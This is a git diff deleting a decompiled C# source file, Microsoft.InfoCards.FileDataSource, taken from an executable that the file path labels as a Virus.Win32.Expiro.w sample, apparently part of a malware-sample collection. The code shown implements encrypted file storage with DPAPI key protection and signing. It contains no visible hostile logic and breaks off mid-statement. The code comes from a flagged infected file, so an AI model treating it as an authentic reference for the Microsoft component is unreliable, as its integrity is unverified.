a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileDataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileDataSource.cs deleted file mode 100644 index 31b002e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileDataSource.cs +++ /dev/null @@ -1,1083 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileDataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.AccessControl; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class FileDataSource : DataSource - { - public const int ENCRYPTIONKEYBUFFERSIZE = 32; - public const int ENCRYPTIONKEYBITLENGTH = 256; - public const int ENCRYPTIONBLOCKBUFFERSIZE = 16; - public const int ENCRYPTIONBLOCKBITLENGTH = 128; - public const int ENCRYPTIONITERATIONS = 1000; - public const int INITIALINDEXITEMCOUNT = 20; - public const int INITIALINDEXAREASIZE = 80; - public const int INITIALBLOBAREASIZE = 2048; - public const int FILEVERSION = 11; - public const int FILEVERSIONV2 = 12; - private static readonly SecurityIdentifier AdministratorSid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, (SecurityIdentifier) null); - private int m_variableSignatureLength = 64; - private FileInfo m_fileInfo; - private FileStream m_file; - private FileInfo m_shadowInfo; - private FileStream m_shadow; - private byte[] m_header; - private IndexedDataBuffer m_data; - private SecondaryIndexList m_indexes; - private ReaderWriterLock m_lock; - private SymmetricAlgorithm m_encAlg; - private byte[] m_key; - private bool m_keyProtected; - private WindowsIdentity m_identity; - private bool m_currentTransactionDirty; - private SafeRsaProviderHandle m_provider; - private byte[] m_encryptedKey; - - protected FileDataSource() - : base((string) null, (string) null) - { - } - - public FileDataSource(WindowsIdentity identity, string fileName) - : this(identity, fileName, Guid.NewGuid().ToString("P"), SecondaryIndexDefinition.MasterIndexes) - { - } - - public FileDataSource( - WindowsIdentity identity, - string fileName, - string instanceId, - SecondaryIndexDefinition[] indexDefinitions) - : base(instanceId, fileName) - { - this.m_identity = identity; - this.m_currentTransactionDirty = false; - this.m_fileInfo = new FileInfo(fileName); - this.m_shadowInfo = new FileInfo(this.m_fileInfo.FullName + ".shadow"); - this.m_lock = new ReaderWriterLock(); - this.m_indexes = new SecondaryIndexList(indexDefinitions); - this.m_encAlg = FileDataSource.CreateEncryptionAlg(); - this.SetupProvider(); - } - - public IndexedDataBuffer Buffer - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_data; - } - } - - public byte[] Header - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_header; - } - } - - public SecondaryIndexList Indexes - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_indexes; - } - } - - protected WindowsIdentity Identity => this.m_identity; - - protected internal override void OnClear() - { - using (new SystemIdentity(true)) - { - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientDelete(this.m_shadowInfo); - } - } - - protected internal override void OnLoad() - { - this.ThrowIfDisposed(); - try - { - this.CreateDirAndFiles(); - if (this.m_shadow.Length > 0L) - { - if (this.m_file.Length > 0L) - { - this.m_shadow.SetLength(0L); - this.LoadFrom((Stream) this.m_file); - } - else - { - this.LoadFrom((Stream) this.m_shadow); - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - } - else if (this.m_file.Length > 0L) - { - this.LoadFrom((Stream) this.m_file); - } - else - { - this.CreateEmptyStore(); - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - this.m_file.Seek(0L, SeekOrigin.Begin); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private void CloseFiles() - { - using (new SystemIdentity(false)) - { - if (this.m_file != null) - { - this.m_file.Close(); - this.m_file = (FileStream) null; - } - if (this.m_shadow == null) - return; - this.m_shadow.Close(); - this.m_shadow = (FileStream) null; - } - } - - protected void CreateDirAndFiles() - { - this.CheckReparsePoints(); - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.ValidateDirectoryAccess(); - using (new SystemIdentity(true)) - { - try - { - if (!this.m_fileInfo.Directory.Exists) - { - try - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.m_fileInfo.Directory.Create(FileDataSource.CreateSecurityDescriptor()); - else - this.m_fileInfo.Directory.Create(); - this.m_fileInfo.Directory.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - else if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) this.m_fileInfo.Directory)) - this.m_fileInfo.Directory.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - InfoCardTrace.Assert(this.m_shadowInfo.Directory.Exists, "m_shadowInfo directory should be same as main directory"); - this.OpenOrCreateHelper(this.m_fileInfo, out this.m_file); - this.OpenOrCreateHelper(this.m_shadowInfo, out this.m_shadow); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - } - - private void CheckReparsePoints() - { - using (new SystemIdentity(true)) - { - for (DirectoryInfo directoryInfo = this.m_fileInfo.Directory; directoryInfo != null; directoryInfo = directoryInfo.Parent) - { - if (directoryInfo.Exists && (directoryInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - if (Directory.Exists(this.m_fileInfo.FullName) && (this.m_fileInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - } - - private void ValidateDirectoryAccess() - { - InfoCardTrace.Assert(!WindowsIdentity.GetCurrent().IsSystem, "Should not be running as system"); - IdentityReference identityReference = WindowsIdentity.GetCurrent().User.Translate(typeof (NTAccount)); - bool flag = false; - DirectoryInfo parent = this.m_fileInfo.Directory.Parent; - if (parent.Exists) - { - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) parent.GetAccessControl().GetAccessRules(true, true, typeof (NTAccount))) - { - if (accessRule.IdentityReference == identityReference && accessRule.FileSystemRights == FileSystemRights.FullControl && accessRule.AccessControlType == AccessControlType.Allow) - { - flag = true; - break; - } - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreInvalidDataFilePath"))); - } - - private void OpenOrCreateHelper(FileInfo theFile, out FileStream fileStream) - { - InfoCardTrace.Assert(WindowsIdentity.GetCurrent().IsSystem, "Should be running as system"); - if (!File.Exists(theFile.FullName)) - { - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.CreateNew, FileAccess.ReadWrite); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - } - else - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) theFile)) - { - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.Open, FileAccess.ReadWrite); - } - } - - protected virtual void OnSwapFileWithShadow() - { - using (new SystemIdentity(true)) - { - string fullName = this.m_fileInfo.FullName; - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientMove(this.m_shadowInfo, this.m_fileInfo); - this.m_fileInfo = new FileInfo(fullName); - this.m_shadowInfo = new FileInfo(fullName + ".shadow"); - } - } - - protected internal override void OnClose() - { - this.ThrowIfDisposed(); - if (this.m_data != null) - { - this.m_data.Close(); - this.m_data = (IndexedDataBuffer) null; - } - this.m_indexes.Close(); - this.CloseFiles(); - this.m_provider.Dispose(); - } - - protected internal override DataRow ReadRow(int localId, QueryDetails details) - { - DataRow row = (DataRow) null; - if (QueryDetails.Header == (details & QueryDetails.Header)) - { - row = this.m_data.CreateDataRow(localId); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - { - byte[] iv = this.AllocateIvBuffer(); - this.m_data.CopyIVFromObject(localId, iv, 0); - using (Stream streamForObjectData = this.m_data.GetStreamForObjectData(localId)) - { - using (MemoryStream output = new MemoryStream((int) streamForObjectData.Length)) - { - this.DecryptData(iv, streamForObjectData, (Stream) output); - row.SetDataField(output.ToArray()); - byte[] buffer = output.GetBuffer(); - Array.Clear((Array) buffer, 0, buffer.Length); - } - } - } - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - this.m_indexes.PopulateRowIndexBuffer(row); - } - return row; - } - - protected internal override bool SingleMatch(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (string.IsNullOrEmpty(match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(SR.GetString("StoreDataSourceInvalidIndexName", (object) match.IndexName), nameof (match))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - return this.m_indexes.Match(match, localIds); - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - } - - protected internal override void OnBeginTransaction() - { - InfoCardTrace.Assert(!this.m_currentTransactionDirty, "m_currentTransactionDirty should have been set to false before beginning a transaction"); - base.OnBeginTransaction(); - } - - protected internal override void OnRollbackTransaction() - { - try - { - base.OnRollbackTransaction(); - this.LoadFrom((Stream) this.m_file); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void OnCommitTransaction() - { - try - { - base.OnCommitTransaction(); - if (!this.m_currentTransactionDirty) - return; - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void WriteRow(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - using (MemoryStream output = new MemoryStream()) - { - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - using (MemoryStream input = new MemoryStream(row.GetDataField())) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - int localId = this.m_data.WriteObject(row.LocalId, iv, output.ToArray(), row.ObjectType, row.LastChange, row.GlobalId); - this.m_indexes.SetValuesForId(localId, row.IndexBuffer, true); - row.SourceId = this.SourceId; - row.InstanceId = this.InstanceId; - row.LocalId = localId; - } - } - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - protected internal override void RemoveObject(int id) - { - if ((uint) id > (uint) (this.m_data.Index.Length / 4 - 1)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreDataSourceIdOutOfRange"))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - this.m_data.RemoveObject(id); - this.m_indexes.RemoveAllValuesForId(id); - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - private void ProtectKey() - { - if (this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyAlreadyProtected"))); - ProtectedMemory.Protect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = true; - } - - private void UnprotectKey() - { - if (!this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyNotAlreadyProtected"))); - ProtectedMemory.Unprotect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = false; - } - - private unsafe void DecryptData(byte[] iv, Stream input, Stream output) - { - InfoCardTrace.Assert(input is MemoryStream, "Invalid stream type"); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) buffer.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptDecrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - Array.Clear((Array) buffer, 0, buffer.Length); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void EncryptData(byte[] iv, Stream input, Stream output) - { - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length + (long) this.m_key.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) input.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptEncrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length, (uint) buffer.Length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void CreateEmptyStore() - { - this.m_data = new IndexedDataBuffer(new byte[80], new byte[2048], 0, (DataSource) this); - this.m_encAlg.GenerateKey(); - this.m_key = new byte[this.m_encAlg.Key.Length]; - Array.Copy((Array) this.m_encAlg.Key, 0, (Array) this.m_key, 0, this.m_encAlg.Key.Length); - this.m_encAlg.GenerateKey(); - this.m_keyProtected = false; - this.ProtectKey(); - this.m_header = new byte[this.GetTotalHeaderSize()]; - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - ((EncryptedFileStoreHeader*) numPtr)->Version = 12U; - this.EncryptAndSaveDPAPIKeyToHeader(); - } - - private void FlushToShadow() => this.FlushToStream((Stream) this.m_shadow); - - private int GetTotalHeaderSize() => sizeof (EncryptedFileStoreHeader) + this.GetTotalSignatureSize(); - - private int GetOffsetToEncryptedFileHeader() => this.m_variableSignatureLength + 4; - - private int GetTotalSignatureSize() => this.GetOffsetToEncryptedFileHeader(); - - private long GetRequiredFileSize() - { - long num = Convert.ToInt64(this.GetTotalHeaderSize()) + Convert.ToInt64(this.m_encryptedKey.Length) + Convert.ToInt64(this.m_data.DataLength) + Convert.ToInt64(this.m_data.Index.Length + 4); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - byte[] buffer = ((SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]).GetBuffer(); - num += Convert.ToInt64(8 + buffer.Length); - } - return num + num / 20L; - } - - private unsafe void FlushToStream(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.SetLength(this.GetRequiredFileSize()); - BinaryWriter binaryWriter1 = new BinaryWriter(stream); - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - int dataLength = this.m_data.DataLength; - stream.Seek((long) this.GetTotalHeaderSize(), SeekOrigin.Begin); - binaryWriter1.Write(this.m_encryptedKey); - binaryWriter1.Write(iv); - long position = stream.Position; - using (BinaryWriter binaryWriter2 = new BinaryWriter((Stream) new MemoryStream())) - { - binaryWriter2.Write(this.m_data.Index.Length / 4); - binaryWriter2.Write(this.m_data.Index); - binaryWriter2.Write(this.m_indexes.Count); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - SecondaryIndex innerIndex = (SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]; - int lastIndex = innerIndex.LastIndex; - binaryWriter2.Write(lastIndex); - int initialSize = SecondaryIndexDefinition.GetByName(key).InitialSize; - if (lastIndex + 1 < initialSize) - { - binaryWriter2.Write(initialSize); - InfoCardTrace.Assert(initialSize * sizeof (SecondaryIndexItem) <= innerIndex.GetBuffer().Length, "Buffer length is at least min capacity"); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, initialSize * sizeof (SecondaryIndexItem)); - } - else - { - binaryWriter2.Write(lastIndex + 1); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, (lastIndex + 1) * sizeof (SecondaryIndexItem)); - } - } - binaryWriter2.Flush(); - binaryWriter2.Seek(0, SeekOrigin.Begin); - this.EncryptData(iv, binaryWriter2.BaseStream, binaryWriter1.BaseStream); - } - int int32 = Convert.ToInt32(stream.Position - position); - int num = int32 + this.m_data.DataLength + this.GetTotalHeaderSize() + iv.Length + this.m_encryptedKey.Length; - binaryWriter1.Write(this.m_data.Data, 0, this.m_data.DataLength); - stream.Seek(0L, SeekOrigin.Begin); - binaryWriter1.Flush(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr)->DataSize = dataLength; - ((EncryptedFileStoreHeader*) numPtr)->Version = 12U; - ((EncryptedFileStoreHeader*) numPtr)->Size = num; - ((EncryptedFileStoreHeader*) numPtr)->IndexSize = int32; - } - binaryWriter1.Write(this.m_header); - stream.SetLength(Convert.ToInt64(num)); - binaryWriter1.Flush(); - this.SignStream(stream); - } - - private unsafe void SignStream(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - this.m_encAlg.GenerateIV(); - byte[] sourceArray = this.SignDigest(this.m_encAlg.IV, this.CreateStreamDigest(input)); - byte[] numArray = new byte[this.GetTotalSignatureSize()]; - fixed (byte* numPtr = &numArray[0]) - ((SignatureHeader*) numPtr)->SignatureSize = this.m_variableSignatureLength; - Array.Copy((Array) sourceArray, 0, (Array) numArray, 4, sourceArray.Length); - input.Seek(0L, SeekOrigin.Begin); - input.Write(numArray, 0, numArray.Length); - InfoCardTrace.Assert(this.m_variableSignatureLength >= sourceArray.Length, "Generated signature should be less than signature length"); - input.Seek(offset, SeekOrigin.Begin); - } - - private byte[] CreateStreamDigest(Stream input) - { - input.Seek((long) this.GetOffsetToEncryptedFileHeader(), SeekOrigin.Begin); - byte[] data = new byte[Convert.ToInt32((input.Length / 4096L + 1L) * (long) HashUtility.HashBufferLength)]; - int dataIndex = 0; - byte[] numArray = new byte[4096]; - int dataToHashSize; - do - { - dataToHashSize = input.Read(numArray, 0, numArray.Length); - if (dataToHashSize > 0) - { - HashUtility.SetHashValue(data, dataIndex, numArray, 0, dataToHashSize); - dataIndex += HashUtility.HashBufferLength; - } - } - while (dataToHashSize == numArray.Length); - return data; - } - - private byte[] SignDigest(byte[] iv, byte[] digest) - { - byte[] destinationArray = new byte[this.m_variableSignatureLength]; - using (MemoryStream input = new MemoryStream(digest)) - { - using (MemoryStream output = new MemoryStream(digest.Length)) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - Array.Copy((Array) output.GetBuffer(), Convert.ToInt32(output.Position - 1L) - iv.Length, (Array) destinationArray, 0, iv.Length); - Array.Copy((Array) iv, 0, (Array) destinationArray, iv.Length, iv.Length); - return destinationArray; - } - } - } - - private void ValidateSignature(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - byte[] buffer = new byte[this.m_variableSignatureLength]; - byte[] numArray1 = this.AllocateIvBuffer(); - input.Seek(20L, SeekOrigin.Begin); - input.Read(numArray1, 0, numArray1.Length); - byte[] numArray2 = this.SignDigest(numArray1, this.CreateStreamDigest(input)); - input.Seek(4L, SeekOrigin.Begin); - input.Read(buffer, 0, buffer.Length); - for (int index = 0; index < buffer.Length; ++index) - { - if ((int) buffer[index] != (int) numArray2[index]) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - input.Seek(offset, SeekOrigin.Begin); - } - - protected unsafe void LoadFrom(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader1 = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_header = new byte[this.GetTotalHeaderSize()]; - binaryReader1.Read(this.m_header, 0, this.m_header.Length); - fixed (byte* numPtr1 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (11U != ((EncryptedFileStoreHeader*) numPtr1)->Version && 12U != ((EncryptedFileStoreHeader*) numPtr1)->Version) - { - CorruptStoreException e = new CorruptStoreException(SR.GetString("StoreVersionNotSupported", (object) ((EncryptedFileStoreHeader*) numPtr1)->Version)); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) e); - } - if (12U == ((EncryptedFileStoreHeader*) numPtr1)->Version) - { - this.m_encryptedKey = new byte[((EncryptedFileStoreHeader*) numPtr1)->KeyBlockV2.KeyDataSize]; - binaryReader1.Read(this.m_encryptedKey, 0, ((EncryptedFileStoreHeader*) numPtr1)->KeyBlockV2.KeyDataSize); - } - // ISSUE: __unpin statement - __unpin(numPtr1); - fixed (byte* numPtr2 = &this.m_header[0]) - { - if (this.m_variableSignatureLength != ((SignatureHeader*) numPtr2)->SignatureSize) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - this.ObtainDataKeyFromHeader(); - this.ValidateSignature(stream); - fixed (byte* numPtr3 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - byte[] numArray = this.AllocateIvBuffer(); - byte[] masterIndex; - using (MemoryStream output = new MemoryStream()) - { - binaryReader1.Read(numArray, 0, numArray.Length); - byte[] buffer1 = binaryReader1.ReadBytes(((EncryptedFileStoreHeader*) numPtr3)->IndexSize); - using (MemoryStream input = new MemoryStream(buffer1)) - { - this.DecryptData(numArray, (Stream) input, (Stream) output); - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - output.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader2 = (BinaryReader) new InfoCardBinaryReader((Stream) output); - int num1 = binaryReader2.ReadInt32(); - InfoCardTrace.Assert(num1 > 0, "MasterIndexCount Invalid"); - masterIndex = binaryReader2.ReadBytes(num1 * 4); - InfoCardTrace.Assert((uint) binaryReader2.ReadInt32() <= (uint) this.m_indexes.Count, "SecondaryIndexCount Invalid"); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - int lastIndex = binaryReader2.ReadInt32(); - int num2 = binaryReader2.ReadInt32(); - byte[] buffer2 = new byte[Utility.CalculateIncreaseByPercent(num2 * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem), SecondaryIndexDefinition.GetByName(key).GrowthFactor)]; - binaryReader2.Read(buffer2, 0, num2 * sizeof (SecondaryIndexItem)); - this.m_indexes.SetBuffer(key, buffer2, lastIndex); - } - } - using (MemoryStream memoryStream = new MemoryStream(Utility.CalculateIncreaseByPercent(Convert.ToInt32(binaryReader1.BaseStream.Length - binaryReader1.BaseStream.Position), 1, 5))) - { - byte[] buffer3 = new byte[256]; - int num = 0; - int count; - do - { - count = binaryReader1.Read(buffer3, 0, buffer3.Length); - memoryStream.Write(buffer3, 0, count); - num += count; - } - while (count == buffer3.Length); - byte[] buffer4 = memoryStream.GetBuffer(); - if (num == 0) - buffer4 = new byte[2048]; - this.m_data = new IndexedDataBuffer(masterIndex, buffer4, ((EncryptedFileStoreHeader*) numPtr3)->DataSize, (DataSource) this); - } - } - } - } - - protected virtual void SwapFileWithShadow() - { - this.CloseFiles(); - this.OnSwapFileWithShadow(); - try - { - this.CreateDirAndFiles(); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private unsafe void EncryptAndSaveDPAPIKeyToHeader() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - byte[] numArray = new byte[32 + HashUtility.HashBufferLength]; - this.UnprotectKey(); - try - { - Array.Copy((Array) this.m_key, 0, (Array) numArray, 0, 32); - HashUtility.SetHashValue(numArray, 32, this.m_key, 0, 32); - fixed (byte* numPtr1 = &numArray[0]) - { - DataBlob dataBlob3; - dataBlob3.pbData = new IntPtr((void*) numPtr1); - dataBlob3.cbData = numArray.Length; - try - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob3), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataFailed"))); - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob1), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataAsSystemFailed"))); - } - fixed (byte* numPtr2 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlockV2.KeyDataOffset = 0; - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlockV2.KeyDataSize = dataBlob2.cbData; - this.m_encryptedKey = new byte[dataBlob2.cbData]; - for (int index = 0; index < dataBlob2.cbData; ++index) - this.m_encryptedKey[index] = *(byte*) ((IntPtr) dataBlob2.pbData.ToPointer() + index); - } - } - finally - { - Exception e = (Exception) null; - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob1.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob2.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (e != null) - throw InfoCardTrace.ThrowHelperError(e); - } - } - } - finally - { - this.ProtectKey(); - Array.Clear((Array) numArray, 0, numArray.Length); - } - } - - private void ObtainDataKeyFromHeader() - { - try - { - this.m_key = this.TryObtainDataKeyFromDPAPI() ?? throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUnableToGetStoreKeyFromDPAPI"))); - this.m_keyProtected = false; - this.ProtectKey(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidStoreProtectionKeyException()); - throw; - } - } - - private unsafe byte[] TryObtainDataKeyFromDPAPI() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (11U == ((EncryptedFileStoreHeader*) numPtr)->Version && ((EncryptedFileStoreHeader*) numPtr)->KeyBlock.KeyType != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreFileNotProtectedWithDPAPI"))); - byte[] dataKeyFromDpapi = (byte[]) null; - GCHandle gcHandle = new GCHandle(); - try - { - DataBlob dataBlob3; - if (((EncryptedFileStoreHeader*) numPtr)->Version == 12U) - { - gcHandle = GCHandle.Alloc((object) this.m_encryptedKey, GCHandleType.Pinned); - dataBlob3.pbData = gcHandle.AddrOfPinnedObject(); - dataBlob3.cbData = ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataSize; - } - else - { - dataBlob3.pbData = new IntPtr((void*) &((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKey); - dataBlob3.cbData = ((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKeySize; - ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataOffset = 0; - ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataSize = 